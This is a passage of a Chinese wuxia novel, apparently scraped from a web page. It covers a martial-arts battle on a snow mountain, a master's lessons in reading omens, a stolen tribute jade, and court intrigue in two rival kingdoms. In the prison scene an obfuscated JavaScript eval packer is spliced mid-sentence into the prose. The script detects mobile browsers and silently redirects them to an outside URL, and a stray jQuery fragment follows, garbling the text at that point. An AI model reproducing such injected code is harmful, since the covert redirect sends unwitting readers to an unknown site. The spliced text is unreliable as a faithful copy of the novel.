东方那个像猿的,忽然跳上空中,就像攀住物体将身子悬在空中一般,很快地伸缩身体,再一个倒悬,用脚勾住那看不见的物体,使身体倒悬…… 南边穿红袍之人此时将双手举起,跷起脚作金鸡独立状,两臂平伸,用力扬臂各四下,忽又坐在雪地,手握脚趾各七次,两臂开始伸缩各七次…… 此五人做这些奇怪动作的同时,周遭气场已发生很大变化,旋风生起,裹挟着冰块雪花呼呼乱转,瞬间就把人湮没,分不清东西南北,心智也跟着紊乱,功力全损…… 这,就是世人传说的“五禽戏”功法了,它将金、木、水、火、土五行之气融为一体,又配上一阴四阳,叫做阳气极至。 阳气极至,一阴乃生,随着阴阳五行的流转,形成一股暗暗汇聚的神力,将那天地之气,向对方网状一般罩去,无论你有多少深厚的功夫,一旦被这阴阳五行之气罩住,便无法施展了。 叶子萌和灵童子运起功力,腾身一跳,欲跳出圈外,刚离地不到一丈,头顶便触到一个软绵绵的东西,将他们弹了回来。 此时,五人又变成了虎、鹿、熊、猿、鹰,和着冰块雪花围着他们呼呼旋转…… 就在这时,那万丈冰峰的高处,忽传来一声尖锐的呼啸,啸声如刀般锋利,挟带着一股雄浑的内力,震荡在这雪白的群山之间。 霎那间,周围雪峰被震得簌簌发抖,有的地方还发生雪崩,冰雪坠下深渊,发出轰隆声,腾起了漫天雪雾,这一声呼啸的内力竟是如此地骇人。 呼啸声一过,只见玉山冰峰之巅,倏地飞来一团白影,白光一闪,冰坡便站着一人,此人却是个浑身雪白的妇人,满头银丝披在肩头,脸上雪白如膏,双目挟带一股威凛寒气,直刺入骨髓…… 那五人见了她,连忙恭敬地对她拱手一拜,道:“师父!” 叶子萌和灵童子都是第一次见到雪山玉仙,这会儿见她目光凌厉充满杀气,顿觉不妙,正待拔剑,忽然上面又发生雪崩,阵阵白雾呼啸而来,山崩地裂一般。 就在这白雾弥漫中,一个熟悉的身影出现,原来正是具有驱寒化丹旷世功力的氼影尊者,他像旋风一般急速降临,上来拎着他俩就飞走,瞬间不见了踪影…… 风在耳朵边呼呼吹着,不一会回到古楼峰地界的望月台,三人收住功力,稳稳落地,叶子萌拍拍衣服,道:“我终于见到那传说中的‘五禽戏’功法,好玩好玩!” 灵童子却不着声,小心翼翼地望着师尊,像在等候他发落。 此时,氼影尊者望着已近一年不见的叶子萌,发现她似又长大了一些,之前心里的气儿,现在已经化为一股莫名的柔情。 叶子萌这个天真无邪的女孩儿,正是这个已过百岁的茶寿老者心中最柔软的部分,他虽然已有“世外老人”的称谓,人间百态、生命宇宙及大道之理全都洞悉于心…… 但是,唯一面对这小小孩儿,他常常会有柔情和慈悲交替生发,这好似他的一个关口隘路,他唯一需再修炼的最后一道“人生奥秘场”。 “刚才好险,”氼影尊者的神情变得柔和起来,说,“以后你们不许再去调皮,尤其是你灵童子,你已有一把年纪,都可当她爷爷了,竟然还这般顽童心性,我平时是怎么教你的,你定要好生照看你小师妹,不是吗?” 灵童子拱手嗫嚅道:“谨遵师命,下次不敢了!” “好玩好玩,”叶子萌望向灵童子笑道,“我猜得果然没错,师兄都可当我爷爷了……” 灵童子像没听见似的,不屑去理会她。 叶子萌嘴一撇,又掉头问氼影尊者道:“师父,那‘五禽戏’功法为何这般怪异?那个忽然从天而降的白发仙姑又是谁?” 氼影尊者望着天宇,沉默半晌才说:“那人就是雪山玉仙,她本名姓华,这就是她受前朝那个旷世神医发明的‘五禽戏’启发,在此基础上再自创的神奇功法,不过,那个神医早已遭遇了人生劫难……” “哦,是这样啊……”叶子萌忽然联想起自己身世,于是好奇地追问,“雪山玉仙是那个神医的后代吗?” “呵呵,有这传闻,但她却称自己祖上是契丹人,故我也不知…… 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叶子萌马上抓紧机会说:“师父常常讲得虽条分理晰、宏论篇篇,却尽是纸上谈兵,未见实际,故而我不得要领。” 氼影老人便用手指指她道:“你这小孩儿,机灵过人,你这是激将法,想激我露两手?你慌,我偏偏不慌,看你又怎样?” 叶子萌灵机一动,又道:“刚才师父言,天机占术最忌泥于书本,又道若能活用,可于一毫端现宝王刹,一方面告诫我不可只读那书,一方面又暗示将示现‘宝王刹’,现何故又怪我使用激将法呢?” 氼影尊者暗忖道:咦,我何时说过要示现甚“宝王刹”给她看,莫非蒙我来了?略一思忖,便暗笑道:“好吧,我们先去灵霄洞。” 三人去了灵霄洞,氼影尊者说:“你可知我们在这石厅里呆着,可以叫做什么?” 叶子萌不明白这话是何意思,便摇摇头。氼影尊者便说:“可叫元神。” 叶子萌更加懵懂。 氼影尊者又道:“天地万物,皆有灵性。此石厅就好比一个人的头,头的顶端就有九个穴位。《道藏·天机经》云:‘九窍在乾为九星,在坤为九州,在人为九窍。’我这里所说已不是两目、两耳、两鼻、口、前后阴九明窍,而是头顶上九个暗窍。” “那又如何?”叶子萌问。 氼影尊者指指石厅顶说:“当中泥丸宫,在这一大亮点周围,形成九穴,内视可见九个小亮点围绕大亮点转动,正如天上九星围绕太阳转动一般。此石厅也有个‘泥丸宫’,在这太极图正对着的地方呢!” 叶子萌一听,连忙抬起头望着石厅顶端,那里平滑无痕,什么也没有,便问:“你说的‘泥丸宫’在哪?” 氼影尊者笑了:“你这样懵懵懂懂,好比它的元神昏蒙,故而泥丸宫关闭。” 叶子萌顽皮地笑道:“师父这般神清智朗,好比是元神灵动,故而泥丸宫打开?” 话音刚落,氼影尊者便道:“好吧,如你所愿……”随即将袖袍一挥,石厅顶端轰隆一声,果真露出一大圆洞。 叶子萌吃了一惊,抬头望去,看见此洞往上很长很深,不下二十丈,洞口亮光只有脸盆般大,顿时,周围嗖嗖生起旋风,厅内燃香烟雾均被吸往圆洞,往洞外蹿去。 氼影老人同时又道:“徒儿说得好,元神灵动,这泥丸宫就打开了,我们既是‘元神’,何不快快从这泥丸宫出去神游天地、精鹜八极一番……” 说罢,提住两个徒儿的手臂轻轻一跃,三人已离地十余丈,于是运起轻功,一起呼呼蹿上,如轻烟白云,眨眼间就升上二三十丈,跳出了洞外。 叶子萌待脚一触地,便定神四顾,立即拍手赞道:“此乃殊妙之圣地也!” 但见面前天空碧蓝,云天一色,蔚为壮观,一阵劲风吹来,吹抚绝壁,绝壁如刀削成,风遇绝壁则直往上走,人立崖上,风从脚生。 16. 绝妙神功,师父点化 崖顶竟建有一八角楼阁,设有一神坛,三人缓步而去。叶子萌走近一看,神坛红牌上书有“星云真人灵位”几字,其势甚为挺拔悲壮。登临此阁,极目远眺,云雾飞绕,宛如世外仙境,顿有心怀博大、飘飘欲仙之感。 再往远处看,但见道道山脉朝拱,群山如巨龙奔腾而来,似将此地山峰拱托而起,与天相接,宛如再搭个天梯,就可登临天上宫阙了! “啊呀呀,真妙!”叶子萌忍不住拍手道,“我以前还从不知这个地方呢,师兄为何不告诉我?” “不告诉你或什么时候告诉你,都得听师父的。”灵童子面无表情地说。 “师父偏心!”叶子萌趁机说。 “啊?”灵童子一听,目瞪口呆,瞬间石化…… 氼影尊者却没去理会徒儿们玩的这些小花样,这时已开始凝神止息,但见他白袍飘飘,手捋白色长髯,极目远眺,半晌才启开宏亮之声道:“天有四序,星司其位,此峰下承众岳,上连天宫,峰壁竖而雄俊,众山奔走而倾附,其气肃,其势威,其行属土,其支配辰,前列浩荡之谷,后压群山之郡……” 叶子萌顿时有些省悟,她面对此壮丽昆仑,心潮起伏,感慨万端,不由叹道:“此元神出游,与天地比翼齐飞,真是妙不可言!” 氼影老人瞟她一眼,微微笑道:“子萌徒儿额前神光已现,且随我静坐一会,再看此景此状又是如何?” 叶子萌双盘而坐,双手抚膝,双目微闭,呼吸吐纳,随意而为,渐渐额前有亮点灵动,随即天目穴开,崖前景物尽收眼底。 此时,云海开始发生奇异变化,渐渐膨胀,形成一道长而宽的雾墙,内有东西流动,影影绰绰似有景物出现…… 终于,那景象若明若暗地显现了,有山岭,有楼宇,有车马,有人影,飘飘忽忽,虚虚实实,似梦非梦,变化不定;幻景初似绮丽,似国画山水长卷,少顷,忽起风云变化,一排排险恶山峰峥嵘而出。 片刻之间,群山崩溃,江海倒腾,楼宇坍塌,人仰车翻,人与物相互倾轧;忽又有云烟滋生,飘飘荡荡,渐渐幻化成一罗汉般的人物坐着,手执一把蒲扇…… 叶子萌传递密音道:“师父,这人是谁,莫不是鬼谷先师?……” 正要细看,罗汉般的人不见,一切又恍恍惚惚,影影绰绰,时隐时现,变幻不定,有山有水,有树有田野,有村舍有城廓,有人物楼台,有飞禽走兽,又有情节交织其中,接着又现千军万马、林林旗帜、人海如潮的巨大场面…… 叶子萌凝神细看,仿佛要从中识透玄机。 四周是一片寂静,但又在默默地运化,没有静止,天地连接如此紧密,人与山消融得如此透彻,世间一切在这图卷中进行着神奇的交流,无言的对白,让人感悟,似要在这绵绵不绝的长卷中看,到天翻地覆的变化。 接着,又看到一缕轻薄似云烟的轻气在缓缓游动,刚升腾起来时清清淡淡,给人空明凉爽的感觉,随后飘浮上升,渐渐变得混浊厚重,似一幅不透气的幔帷。 再往上升,离开山巅,这帷幔般厚重的山气,忽然夹杂暗红青紫的光,逐渐开始跳跃,扭腾,似人妖蛇舞,纠缠滚动,纷繁零乱,千姿百态。 氼影尊者这时不由长叹一声,道:“四象不和,山气不祥,这平川大地战乱纷纷,世事难得太平之象……” 毕,收盘而起,叶子萌感慨道:“看了刚才那番海市蜃楼景象,似可明了前后三百年,世事变化竟如烟云,更别说人生一世,真是弹指一挥间……” 氼影尊者点悟她道:“世人不明此理,故而追名逐利,贪图富贵,执着情爱,殊不知名利富贵和爱恨情仇,到头来都是一场空……故而,人生一世,通透为要,万万不可执泥!” 叶子萌这时问:“师父,观海市蜃楼景象,也是‘占星窥天’术么?” 氼影尊者说:“此是占星窥天术的一部分,非一般的占侯术,占侯术是根据云雾色彩、流动走向等,来判断一些气象人事。而观海市蜃楼,可由表及里,直接看到过去和未来的天机演行、世事兴衰,故需很高的内功,非一般人能为。” 叶子萌指指身后八角楼阁说:“那又是什么?” 氼影老人说:“八十年前,你们祖师星云真人就是在这儿羽化升天的。那天,整个山峰紫气升腾,金光映照,仙乐齐鸣,遂见星云真人化作一只仙鹤,腾空飘飘而去。他仙逝后,我就在这儿建了楼阁,安设他神位。楼阁至今八十载,却从未被风雨浸蚀呢。” 叶子萌仔细再观亭阁,亭阁正面红柱上镌刻一副对联,上联为:遥望天际云海苍茫仙鹤飞升,下联为:俯看大地群峰朝拱尊师而来。整座亭阁果然光亮如新,如刚建造一般。 少顷,一行三人又从那“泥丸宫”回到石厅,然后缓缓走出石厅……其实,氼影尊者刚才对叶子萌这番指点,是他煞费苦功、大有深意的,这于她今后诡谲而惊险的人生,起到了连她养父母也无法起到的作用。 …… 叶子萌空闲之余,自然又想起路途中偶遇的蒙面人,称她为“明浩公主”,这是怎么回事?其中肯定藏有她所不知道的秘密! 另外,她也联想到那个梦桃郡主,她为新结识的这个同龄朋友感到欣喜,也不知他们车队是否已到悒国京城,她什么时候回到魏国…… 她却不知,梦桃郡主的车队结果未去悒国,出现了变故。 这次去悒国进贡,主要是送那块出自昆仑的稀世之宝——昆仑玉龙凤戏珠!与叶子萌分手后,梦桃听说这东西不见,于是吩咐护卫再仔细搜寻,这才发现,这块稀世之宝果然丢失,显然被那伙黑衣蒙面人劫走。 梦桃大惊失色,又亲自查验,其他那些不重要的贡品都未丢,单单是这块东西丢失,这还怎么去悒国? “哎呀呀……”梦桃四处环顾,道,“怎么办呢?怎么办呢?……” 一旁的石休染见她着急成那样,连忙宽慰道:“你也别太急,安静下来仔细想想,筹划筹划,现在应该怎么办?” “我怎么不急呢?”梦桃哭丧着脸说,“我第一次向父王请缨,带领贡品车队去悒国,就出现这么大的事故,怎么向父王交代呢?” “这也不是你的错,”石休染安慰道,“这样,我们先给石亲王飞鸽传书,把车队半途遇劫的情况告诉他,接下来的事让他定夺,如何?” 梦桃点点头,于是石休染以梦桃名义给石亲王写了一封信,告之情况,然后把信函塞进小竹筒,让军士取来信鸽,在信鸽腿上绑上信函,然后放飞,那信鸽就扑棱棱飞上湛蓝的天空,朝杏花坞方向飞去。 …… 杏花坞的亲王府邸,侍卫首领司马泽正带着几名侍卫在院内巡视,院墙外忽飞来一只白鸽,司马泽连忙抬起手臂,白鸽就扑腾过来,落在他手臂上。 他取下小竹筒,把白鸽递给旁边侍卫,自己则飞奔去厅房。厅房里,亲王石秉章正在泼墨挥毫,一见司马泽匆匆进来,于是直起身子,问道:“有事?” 司马泽递过小竹筒,说:“主人,郡主的飞鸽传书。” 石秉章连忙放下笔,接过小竹筒,取出字条展开,仔细看起来,渐渐地,脸上的神情便凝重起来。少顷,他把字条递给了司马泽,司马泽接过字条一看,惊道:“啊,车队遇劫,贡品丢失,这……这如何是好?” “你说,”石秉章自言自语地问,“这究竟是何人所为,竟然如此大胆?” 司马泽自然是回答不上来,,想想又问:“要不要我在府邸里好好排查?……” “府邸内?事情恐没你想得那么简单……”石秉章摆摆手阻止他。 “那……怎么办?”司马泽问。 “这样,”石秉章指着司马泽说,“你即刻飞鸽传书,让郡主和休染带领车队原路返回,这件事有些蹊跷,我要上报朝廷!” “是!”司马泽说,返身而去。 接着,石秉章返身朝后厅走去,路经花园,见王妃张氏正与婢女染香等人在那里修剪花枝,于是对王妃招招手:“夫人,快快替我更衣,我马上要 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王妃张氏想了想,又说:“要么你别急着去朝堂,先等女儿和休染他们回来,问明具体情况后再作决定,这样也有回旋余地啊。” “你傻啊!”石秉章说,“估计这会儿陛下都已经得到密报了,如果我不第一时间禀报,还等车队回来问明情况,这才决定是否禀报,你想陛下他会怎么想?” “你是说,”王妃张氏睁大眼睛,小声问道,“他真的在亲王府里安插有人?” “我的这位皇兄啊,”石秉章摇摇头,道,“我太了解他了,我之所以不让司马泽在亲王府内查,就是怕他怀疑我不信任他,以为我是在借此机会,搜查他安插在亲王府里的卧底。” “原来是这样?……”王妃张氏喃喃地说。 “其实,”石秉章又继续说,“我这位皇兄什么都好,就是疑心太重,所以我平时就蜗居在这杏花坞,懒得关心朝政了……” 正在这时,婢女染香悄没声儿地进来了,就像个影子一般,飘飘忽忽的,不注意看还真没看到她。这是亲王府里雪藏的武功高手,原是江南出了名的燕子飞,消失后就隐姓埋名藏于魏国杏花坞。 说来也奇怪,自从这燕子飞只身来到亲王府,许多燕子也竟飞来亲王府筑巢,尤其是一到春天,府邸内的瓦檐下和房梁上,全是叽叽喳喳的燕子,让人瞧着感到新奇。 石秉章大喜,因为他也深信,春燕衔泥筑爱巢,是为门户的吉祥之兆,会给他带来安全和好运,再加上更名为染香的燕子飞,除了为人忠心谨慎,从不露破绽,也是挚友引荐,让他非常安心。 更奇特的是,这染香从来不与石秉章直接说话,有什么事都由王妃转达给石秉章,这让王妃也非常满意,把她当成贴身心腹,不离左右,两人几乎无话不谈,但是在大是大非的问题面前,还是得由石秉章作主,传达任务也由王妃转给她。 染香进来后,朝王妃张氏看了一眼,王妃就朝她走去,笑道:“妹妹来啦……”走拢又压低嗓音问道,“什么事?” 染香凑近对王妃耳语几句,王妃听了点点头,然后说:“知道了,你暂且先下去……” 染香退下后,王妃又返身回来,石秉章这时已束好腰带,边走边说:“我这就去了,你在家等梦桃他们回来……” “哎哎……”王妃拉住袖袍说:“竟然出现抢劫贡品的歹人,八成是针对你的,染香询问要不要她跟随护送?” 石秉章说:“她别露面,我让司马泽带几个侍卫跟随就行。你放心,不会有事的……对了,女儿回来后,让她在府里等我。” “那好……”王妃说,“我记住了,你去吧,路上千万小心!” 石秉章出去时,车马辇轿已备好,司马泽带的一行侍卫都已上马,围在了辇轿周围,石秉章上了辇轿,朝院门口的王妃挥挥手,又瞥了她旁边的染香一眼,然后放下帘子,一行人就出发了…… 17. 贡品被劫,惊动朝野 石秉章出去时,车马辇轿已备好,司马泽带的一行侍卫都已上马,围在了辇轿周围,石秉章上了辇轿,朝院门口的王妃挥挥手,又瞥了她旁边的染香一眼,然后放下帘子,一行人就出发了。 …… 向悒国送贡品的车队被一伙黑衣人抢劫一事,惊动了魏国朝野,亲王石秉章自知责任重大,一向懒于上朝的他,这次也主动上了朝堂,在凌玉殿向魏国皇帝石秉文禀报。 魏皇帝石秉文一向采取的是文治之道,他非常推崇西汉初年汉文帝和汉景帝的治世方略,所谓文景之治,采取“轻徭薄赋”、“与民休息”等国策,并对强大悒国以武震慑的外交方略十分反感。 悒国采取的无非是汉武帝“汉兵方至,毋敢动,动,灭国矣”的那套,以此来维护自己的统治威严。不过在文武百官的劝谏建言下,国力稍弱的魏国皇帝石秉文只得忍辱负重,几乎隔年都要向悒国送去贡品,以示交好。 贡品交接这件事,皇帝就交与他弟弟石亲王去打理,而石秉章平时极少上朝,皇帝赐他杏花坞后,他就致力于打理杏花坞,在岛上栽满各种花卉,长此以往,这里的人们就形成一种闲来读书、种植、经商的风尚,生活舒服安逸。 魏皇帝听了石秉章的禀报后,也很震怒,眉头皱起问道:“是何人如此胆大妄为?” 石秉章悄悄地观察着这位兄长的表情,猜测他是现在才知道,还是之前就已获悉,但不露声色,继续奏道:“回陛下,正在派人详查,不过,臣弟觉得此事有些蹊跷,这伙黑衣人全都蒙面,武艺高强,什么不抢,单单就抢皇室贡品,且来无踪去无影,多亏圣武堂两位武功高强的人出手相救,否则不知还要闹出什么事。” “圣武堂?”魏皇帝点点头,沉吟片刻,又掉转头说:“蒋相国,此事你怎么看?” 文武百官里颤颤巍巍走出一老者,这就是相国蒋予夫了,他是魏国辅佐帝王的股肱之臣,所谓二十八宿环北辰,三十辐共一毂,运行无穷,辅拂股肱之臣配焉…… 当然,他也是魏国朝堂上出了名的老狐狸,向悒国“送贡品以示交好”的主意就是他出的,使得这些年魏国通商宽农、休养生息,的确逐渐强大,黎民生活也变得富裕多了。 别看他老态龙钟,却是魏国一宝,魏皇帝非常看重他,凡事都与他商量。他在殿前站稳后,双手一拱,沙哑着喉咙说道:“启禀皇上,依老朽之见,此事不必在意,虽是我魏国境内贡品被抢,却是他家门前事。” “哦?”魏皇帝感到十分新鲜,“此话怎讲?”文武百官也纷纷扭过头来望着他,感到不解。 蒋予夫解释道:“悒国的悒文帝叶炫自登基后的这些年,国内一直不太平,怪事频仍,添堵的事从没停息过。听说他现在其实已病入膏肓,我看他是气数将尽,当年悒国皇太子叶坤被杀一案,恐与他脱不了干系,这也是命中的果报吧?” 魏皇帝听了,点点头道:“你是说,进贡一事,是悒国内部有人作梗?若是这样,那就是他们内部狗咬狗的事,与我们无关了?” 蒋予夫微微一笑,点点头说道:“陛下英明,可以这么说吧。” 于是魏皇帝掉头对石秉章说:“皇弟,此事你也不必过于自责,凡事自有命数,国家也是如此,就让我们静观其变吧!” 石秉章拱手一拜,道:“谢陛下宽宥!” …… 与此同时,相隔千里的悒国朝殿上,在魏国蒋相国口中“气数将尽”的悒文帝叶炫,也在听取文武百官议论这件事,他一脸倦意,歪倒在龙椅上,显得十分地狂躁和不耐烦。 礼部尚书刘成悄悄地瞥着叶炫,心里有些不安,自从他的女儿刘雅兰嫁给三皇子叶真做了皇子妃后,他就觉得叶炫有些异样,开始不正眼看他了,因此他对皇帝也开始小心翼翼,生怕出错,并竭力讨好。 他假装为皇帝鸣不平,有些愤愤然地说道:“此次魏国朝贡,称半道被强人所劫,有一稀世之宝‘昆仑玉龙凤戏珠’丢失,也未查出是何人所为,所剩其他物品也很稀松平常,干脆就不送,这莫非是越来越不把我们陛下放在眼里了?” 但这话在叶炫听来,恰恰就像在讽刺,他乜斜刘尚书一眼,心里在暗骂“瘪犊子”,嘴上却在说:“是吗?” “是啊是啊,”其余几个武官纷纷附和,“藐视我悒国者,灭!” 悒文帝叶炫却没去理会殿下这些鼓噪之人,这些年他算看明白了,他们完全是当面一套背后一套,整天就在他面前像老鸹那样聒噪,尽说屁话、出歪主意,没干过一件正经事! 这么些年来,西域战事频发,边关吃紧,国内年年都有旱涝灾害,朝堂上文武百官也是相互不和,人心难测,真是内忧外患! 尤其是这个礼部尚书刘成,将自己女儿刘雅兰嫁给了三皇子叶真,引起他的不满,怀疑他们是在暗中勾结,殊不知叶真又曾送过国色天香的美人杨媛媛给他,想到这点,他心中的不满情绪这才稍稍平息。 不过,古怪的事情也有,自从他身边有了杨媛媛,并吃了她亲自调配秘制的“壮阳如意汤”,虽是有效得很,让他每次见到洁白丰腴的杨媛媛都欲罢不能,但身体却每况日下,近几年来更是明显,尤其衰老得快。 现在的杨媛媛已被他晋升为贵妃,但毕竟已“人老珠黄”。巧的是,这杨媛媛还真是摸透了他心思,又把自己“表妹”推荐进宫,给他献上,并被他封为嫔妃,这就是白皙丰腴、年轻漂亮且颇会调情的柔儿。这柔儿更是个狐狸精,床笫之欢颇有一套,令他每每□□,又常常自责后悔…… 他的悔意在于,作为悒国皇帝,他除了曾与以前的皇后沈婉如诞下云溪公主,之后皇后就不再有生育,更不必说诞下龙子……凡此种种,使他渐渐对三皇子的怀疑越来越深,猜测这一切是他在背后做过什么手脚? 而叶真本人,膝下世子、郡主各一个,一个叫“永儿”,一个叫“远儿”,叶真每每提起,就让他叶炫心里很不是滋味,还“永远”,想什么呢! 不过这些都只是怀疑而已,没有任何真凭实据。再说,叶真这人疏懒朝政,经常不上朝,整天沉迷修仙访道、易经八卦,疯疯癫癫的不像人样……那么,究竟什么才是他的真面目呢? 再者,太子案直到今天还未破,太后似乎也对他愈来愈不满,甚至开始怀疑他,这又如何是好? 想到这里,他不耐烦地将袖袍一挥,道:“好啦好啦,此等贡品半道被强人所劫之事,让典签帅会同刑部查就是,众卿勿再争吵……还有何事禀报?” 这时大理寺卿张廷玉站出来奏道:“启禀陛下,太子叶坤被杀一案已搁置多年,一直未查出真凶,城南铁铺曾蛮子也已在牢狱关了多年,如何处置,还望圣上明示?” 刑部吴尚书说:“他若再不招,不如斩首示众,了结此案,以免烦扰圣心,也可告慰太子英魂。” “哎,不可!”叶炫连忙摆手。这点他倒不傻,心里清楚得很,这是目前太子案唯一的线索,若一被掐断,他自己就永远脱不了嫌疑,太后那边更无法交代了。上次叶真就曾提过不如将嫌犯斩首、以了此案,他就没同意,为此还猜测过叶真的用意…… 这时,他突然对这个铁匠曾蛮子有了一些兴趣,想去看看他究竟是个什么样的人,于是便对大理寺卿张廷玉说:“张爱卿,散朝之后,你领我去大理寺狱看看这个曾蛮子……” 张廷玉愣了一下,连连摆手说:“不可不可,陛下万万不可!” “为何不可?”叶炫问。 张廷玉双手一拜,说:“圣上是尊贵之躯,那牢狱乃污浊之地,极其肮脏黑暗,恐有不祥,怎么去得?” 叶炫其实只是随口说说,现在见张廷玉这般阻拦,反倒勾起他的好奇心,于是坚持要看看,一是想弄个究竟,二是想在百官面前做做样子,表示他非常关心此案,而且与太子被害无甚关联。 张廷玉见皇帝执意要去,只好拱手说道:“是。” 散朝后,在大理寺卿张廷玉、刑部尚书吴光以及典签帅周攸元等人的陪同下,叶炫来到大理寺狱。这个监狱是关押三省六部犯罪官吏和京师重要案犯所在,里面高墙林立,森严壁垒,愈朝里走愈是阴森可怕。 到了一牢房,打开牢门,里面恶臭之气扑面而来,叶炫禁不住用袖袍掩鼻,仔细再看,粗大铁链锁着一人,但见他蓬头垢面、胡子拉碴,脸上黢黑,唯两眼还有些亮光,就像森林里那些野兽在夜晚的眼睛。 其实他平时未用铁链锁着,否则怎么能熬过这么多年?今天是皇帝要来,于是大理寺狱提前将这些功夫做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885054|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足,以示“庄严隆重”…… 叶炫待恶臭气过去,这才放开掩鼻的袖袍,问道:“你就是铁匠曾蛮子?” 这怪物一般的人上下打量着这个由众多官员陪着而来的悒文帝,知道此人尊贵,于是小心地反问一句:“你……你是何人?” “休得无礼!”张廷玉喝道,“此乃当今圣上,还不快快回话!” 怪物哈哈一笑,道:“我曾蛮子被你们关押了十几年,要死不活,堂堂悒国就是这样冤枉小民、糊涂断案的?” 典签帅周攸元这时说:“大胆狂徒,你自称冤枉,为何又不老实招供,岂不自相矛盾、强词夺理!” 怪物沉默片刻,才说:“当年的确有人在我的铁铺定制了毒箭,但若我说出他名号来,岂不小命难保?” 周攸元冷冷笑道:“曾蛮子,少来你那一套,你以为自己随便编出个名字来糊弄一下,我们就可信你?” 曾蛮子又是哈哈一笑,道:“大人既然不信我所说,为何又来苦苦相逼,定要我招什么供,这岂不自相矛盾吗?” 一旁的叶炫越听越觉得有意思了,他止住了还要再问的周攸元,让他退下,自己则上前一步,对曾蛮子放低声音说:“若是寡人问你呢,你可愿意与寡人说?” 曾蛮子盯着叶炫,竟有些犹豫,周攸元却说:“陛下,别听他胡言乱语!” “退下!”叶炫断喝一声,他早就在怀疑这典签帅是叶真的人了!周攸元吓了一跳,连忙退后两步,不出声了…… 然后叶炫又回过头去,双眼死死盯住曾蛮子,半晌才道,“如何?” 曾蛮子沉默片刻,忽然说:“你且上前来,我只对你一人说……” 悒文帝叶炫正要上前去,周围的人忙说:“陛下,可要当心!” 叶炫愤怒不已,从地上抓起一只碗就朝他们扔去:“全部退下……”众官吃了一惊,全部退出牢门,叶炫这才上前,将耳凑到曾蛮子胡子拉碴的脸腮旁,侧着脸静静等待。 只见曾蛮子犹豫了半天,这才压低了声音,附在叶炫耳边窃窃地说了一句什么,令叶炫大吃一惊。 这皇帝还从来没有显得这么紧张过,他紧锁眉头思忖着,半晌,他未再多说什么,只命人将锁住曾蛮子的铁链解开,并吩咐狱吏好生对待这名囚犯,等候发落,然后转身走出牢房,并在一干官员疑惑的神情中,离开了大理寺狱。 …… 皇宫后面的千寿宫里,太后吴氏刚刚午睡起来,喝了一碗莲米银耳汤,米莲就进来了。她现在已是太后身边的凤仪女官,在后宫中权力越来越大,已与当初的她不可同日而语,连文武百官见了她,也要恭敬礼让三分。 这就是太后玩的权谋,自己退后一步,似藏于后台朦胧莫辨的帘子中,而前台出现个女罗刹似的人物,扮演着阎王殿里的狠角色! 她的狠,甚至胜过了典签帅周攸元!有个传闻是这样的—— 当年城门校尉徐大中和守卫徐三等人,被周攸元的手下严刑拷打、失手打死后,吴氏就开始疑窦丛生了。 之后才有了一连串的事情发生,包括太后亲自到太阴宫、与太子妃发生抓扯,却让太子妃意外身亡,让线索彻底断绝…… 当时回到千寿宫,米莲忍不住问她:“太后,你为何要故意激怒太子妃?” “唉,是哀家失算……我本想……”吴氏摇摇头,道,“气死我了,这下线索断了,没料到叶炫会下此毒手!你说他会不会……会不会是故意灭口?” 米莲想了想,说:“他刚登基,太子妃来这手,他是被逼急了吧?” “那么,徐校尉及守卫被典签司的人逼供致死呢?” “这个就有点蹊跷了……”米莲说,“有点像杀人灭口!” “可恶!”太后忍不住猛拍桌子。 “没有证据怎么办,太后?”米莲问。 太后掉头盯着米莲:“也要给典签司点颜色,让他们付出点代价。” 米莲明白了,转身就走。 你猜米莲怎么着?她竟然带了几人闯进典签司大牢,对那几个刑讯逼供致死案犯的狱吏提刀就砍,从此就被人称作“女魔头”……典签司的人因惧怕她背后有太后撑腰,没人敢追究此事,结果草草把狱吏尸体掩埋结案了事。 18. 寻找公主,斥责皇帝 现在,这个女罗刹似的凤仪女官更加成熟且凶狠了,她唯有在太后面前才显得温顺一些,此时见到太后,便附在太后耳边窃窃私语了一句,于是太后睡眼惺忪的眼睛一亮,道:“快让他进来!” 少顷,一个头戴斗笠、脸蒙黑布的神秘人走进太后的寝宫,俯卧在地,双手一拜,道:“在下给皇太后请安……” 太后瞧他一眼,道:“查得怎样了?” 神秘蒙面人切切地说:“有眉目了,是在魏国找到的。” “哦?”太后一听,连忙双手扶着椅把一撑,撑起身子又道,“快快近前说来!” “是,太后。”神秘蒙面人站起身,走近前来,然后在太后面前半跪下,将他在魏国查到的结果悄悄告诉了太后。 太后一听,那有些苍老的脸庞终于舒展开来,两眼也泛出些许泪光,哆嗦着嘴唇喃喃自语道:“老天有眼,老天有眼,我的明浩公主终于有下落了……” 一旁的米莲脸上也现出一丝难得的笑意,她快步走近前来,扶住太后的手臂,太后就势站起来,又问蒙面人:“她可承认自己就是明浩公主?” 蒙面人道:“看样子她自己并不知晓……不过,让人料想不到的是,这明浩公主竟练就一身玄元真气,武功了得,连在下也不是她的对手!” “是吗?”太后有些吃惊,旁边的米莲也甚是疑惑,她与太后相互望望,太后又掉头问道,“你不会是弄错人了吧?” “绝不会弄错!太后,在下与她在魏国武馆圣武堂交过一次手,第二次又在官道与她交过一次手,都被她打败,最后那次,要不是我亮出身份,称她‘公主’,我还脱不了身呢。不过,我没透露背后是受了何人差遣去的魏国。” “这开圣武堂武馆的是什么人?”太后又问。 蒙面人道:“是个叫逸风的中年男子,手下的徒弟个个都武功高强,他称公主为‘燕儿’,公主称他为‘爹爹’,另有一中年女子,叫媚娘,公主称她‘娘亲’,看得出这对夫妇都很爱公主。” “媚娘?是她,就是那个李媚儿?”太后沉吟片刻,又对蒙面人道:“你再去继续打探,切记,此事暂时不可对外声张……” 正在这时,寝宫外传来总管太监王公公拉长的声音:“皇上驾到……” 太后一听,对神秘蒙面人挥挥手,蒙面人心领神会,由米莲领着,从另一处悄悄退下,不见了踪影。 旋即,悒文帝叶炫进了寝宫,给太后请安道:“儿皇叶炫拜见母后……”然后就在一旁坐下,就不说话了。 太后见他今日与平时不大一样,忧心忡忡的样子,心里狐疑,于是问他道:“皇帝是否遇到了什么忧心之事?” 